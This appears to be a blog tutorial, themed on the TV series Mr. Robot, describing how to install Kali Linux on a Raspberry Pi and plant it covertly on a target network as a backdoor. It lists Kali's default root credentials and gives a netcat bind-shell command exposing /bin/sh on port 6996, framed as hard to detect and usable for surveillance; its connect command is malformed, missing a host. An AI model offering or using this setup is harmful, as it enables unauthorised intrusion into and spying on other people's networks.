Mr. Robot – Making a Backdoor Raspberry Pi Chip!

Raspberry Pi is a World Cheapest Computer Chip ever made, It’s famous all around the globe due to its cheap cost and performance, and you must be familiar with Mr. Robot USA Network Series where he planted that Raspberry Pi Evil Corp cooperates to take down their Backups.

Let’s find out who is Mr. Robot?

Mr. Robot White-Hat in Cyber Security Company and Black-Hat (severe social anxiety and wicked morphine habit) He used to work on Evil Corp and protect their network, While when he came back home he is and hacker for good! And meanwhile, he was recruited by a hacker organization known as #Fsociety much similar to #Anonymous Making a difference of Mask. #Fsociety plans to take down Evil Corp and Elliott Joins them. Mr. Robot shows realistic hacking, not like other TV shows or movies that are more animated and have fewer hacks. But Mr. Robot changes the realm of Hacking TV shows and Movies and hit great ratings on USA Network.

In episode 4 (“eps1.3__da3m0ns.mp4“), Elliott the main character plans to plant a Raspberry Pi in Evil Corp to get access to their network and shut down their backup storage room heating system!

Let’s get started!

Step 1: Download Kali Linux

After buying Raspberry pi you need an Operating system for Raspberry pi to control, right now we’ll boot the Kali Linux ARM version for it, which is much lighter and more efficient than others. Kali’s Operating system must be compiled specifically for your Raspberry Pi.

Step 2: USB Disk Imager

After Downloading your Operating System ISO file now you have to write the image on your SD Card. You can use any tool you want to write an image on your SD Card for the Operating system.

Live Linux or win32diskimager

Step 3: Ready Raspberry for Action!

After the Disk image write successful, let’s make your Raspberry Pi for some action! Insert the SD card in your Raspberry Pi slot and boot it up. After loading and boot screen it may ask you for your username and password.

Username: root

Password: toor

After that type: startx

And Done! Let’s make it ready for action, you are ready to place it anywhere where you wanted to perform an attack. For connecting to our Raspberry Pi we need to setup a Backdoor like Netcat or SSH there are many choices but for now, we’ll use NC (Netcat).

Raspberry Pi is a size of credit card you can place it wherever you want and connect to it via a wireless network and connect to your Network via SSH or Netcat. Just like in that picture it is sometimes hard to get caught.

This could be used for Surveillance!

Let’s connect and start Netcat listener Type: nc -l -p6996 -e /bin/sh

This will start listing on the 6996 port and you can connect to your port from anywhere you want.

Connect to your Port Type: nc 6996

If the port didn’t start working on WAN you must check out Port forwarding otherwise netcat won’t connect you to your Raspberry Pi.
